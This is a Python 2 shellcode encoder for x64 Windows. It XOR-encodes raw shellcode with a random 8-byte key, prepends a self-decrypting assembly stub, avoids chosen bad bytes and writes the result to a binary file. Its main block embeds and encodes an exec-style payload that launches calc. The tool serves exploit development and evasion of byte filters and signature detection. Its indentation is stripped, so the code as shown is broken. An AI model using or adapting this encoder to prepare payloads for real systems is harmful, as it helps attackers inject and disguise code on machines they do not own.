#!/usr/bin/env python
#Filename: Xor_QWORD_x64.py
#coding=utf-8
import re
import sys
import random
import struct
class QWORDXorEncoder:
def __init__(self):
self.name = "x64 QWORD Xor Encoder"
self.description = "x64 QWORD Xor shellcode encoder"
self.author = "Danny__Wei"
self.bad_chars = []
self.bad_keys = [[] for i in range(8)]
self.good_keys = [[] for i in range(8)]
self.final_keys = []
self.shellcode = ""
self.encoded_shellcode = ""
self.encoded_payload_length = 0
self.encoder_bad_chars = ["48", "31", "c9", "81", "e9", "8d", "05", "bb", "58", "27", "2d", "f8", "ff", "e2", "f4"]
self.misc_comments = """
#This is the decoder stub
"\x48\x31\xC9" + # xor rcx, rcx
"\x48\x81\xE9" + block_count + # sub ecx, block_count
"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0]
"\x48\xBBXXXXXXXX" + # mov rbx, 0x????????????????
"\x48\x31\x58\x27" + # xor [rax+0x27], rbx
"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8
"\xE2\xF4" # loop 0x1B
"""
def all_the_stats(self):
print "\n[Output] Encoder Name:\n" + self.name
string_bad_chars = ''
for bchar in self.bad_chars:
string_bad_chars += hex(bchar) + " "
print "\n[Output] Bad Character(s):\n" + string_bad_chars
print "\n[Output] Shellcode length:\n" + str(self.encoded_payload_length)
j = 1;
key = 0
for i in self.final_keys:
key += i * j
j *= 0x100
print ('\n[Output] Xor Key:\n%08X' % key)
def shellcode_to_bin(self):
hFile = file('Xor_x64_encoded.bin', 'wb+')
hFile.write(self.encoded_shellcode)
hFile.close()
return
def set_shellcode(self, shellcode):
shellcode = shellcode.decode('string-escape')
self.shellcode = bytearray(shellcode)
return
# This function was copied from Justin Warner (@sixdub)
def set_bad_characters(self, bad_characters):
final_bad_chars = []
bad_characters = bad_characters.split('x')
# Do some validation on the received characters
for item in bad_characters:
if item == '':
pass
elif item in self.encoder_bad_chars:
print "\n[Error] Encoder Error: Bad character specified is used for the decoder stub."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
else:
if len(item) == 2:
# Thanks rohan (@cptjesus) for providing this regex code, and making me too lazt
# to do it myself
rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE)
if rohan_re_code.match(item):
final_bad_chars.append(item)
else:
print "\n[Error] Bad Character Error: Invalid bad character detected."
print "[Error] Bad Character Error: Please provide bad characters in \\x00\\x01... format."
sys.exit()
else:
print "\n[Error] Bad Character Error: Invalid bad character detected."
print "[Error] Bad Character Error: Please provide bad characters in \\x00\\x01... format."
sys.exit()
for x in final_bad_chars:
self.bad_chars.append(int("0x"+x,16))
return
def find_bad_keys(self):
for key in range(0x100):
for bad in self.bad_chars:
char = key ^ bad
for count in xrange(8):
for i in xrange(count, len(self.shellcode), 8):
if char == self.shellcode[i]:
self.bad_keys[count].append(key)
break
return
def find_key(self):
for count in xrange(8):
for key in range(0x100):
if key not in self.bad_keys[count]:
self.good_keys[count].append(key)
for count in xrange(8):
if len(self.good_keys[count]) == 0:
print "\n[Error] Encoder Error: Can't find available keys."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
i = random.randint(0, len(self.good_keys[count]))
self.final_keys.append(self.good_keys[count][i])
return
def decoder_stub(self):
block_count = -( ( (len(self.shellcode) - 1) / 8) + 1)
str = struct.pack('<l', block_count)
decoder = "\x48\x31\xC9" + "\x48\x81\xE9" + str + "\x48\x8D\x05\xEF\xFF\xFF\xFF" + "\x48\xBBXXXXXXXX" + "\x48\x31\x58\x27" + "\x48\x2D\xF8\xFF\xFF\xFF" + "\xE2\xF4"
'''
decoder = "\x48\x31\xC9" + # xor rcx, rcx
"\x48\x81\xE9" + block_count + # sub ecx, block_count
"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0]
"\x48\xBBXXXXXXXX" + # mov rbx, 0x????????????????
"\x48\x31\x58\x27" + # xor [rax+0x27], rbx
"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8
"\xE2\xF4" # loop 0x1B
'''
return decoder
def do_encode(self):
stub = self.decoder_stub()
key = 0
str = ''
for key in self.final_keys:
str += struct.pack('B', key)
stub = stub.replace('XXXXXXXX', str)
# check out the final decoder stub
for byte in bytearray(stub):
if byte in self.bad_chars:
print "\n[Error] Encoder Error: Bad character specified is used for the decoder stub."
print "[Error] Encoder Error: Please use different bad characters or another encoder!"
sys.exit()
stub = bytearray(stub)
mod = 0
byte = 0
count = 0
for byte in bytearray(self.shellcode):
if count < 8:
mod = count
else:
mod = count % 8
count += 1
enbyte = byte ^ self.final_keys[mod]
stub.append(enbyte)
self.encoded_shellcode = stub
self.encoded_payload_length = len(stub)
return
def encode(self):
self.find_bad_keys()
self.find_key()
self.do_encode()
if __name__ == '__main__':
shellcode = (
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52"
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED"
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88"
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44"
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48"
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1"
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44"
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49"
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A"
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41"
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00"
"\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B"
"\x6F\x87\xFF\xD5\xBB\xF0\xB5\xA2\x56\x41\xBA\xA6\x95\xBD\x9D\xFF"
"\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47"
"\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x00")
shell = QWORDXorEncoder()
shell.set_shellcode(shellcode)
shell.set_bad_characters('x00x0a')
shell.encode()
shell.all_the_stats()
shell.shellcode_to_bin()
else:
pass
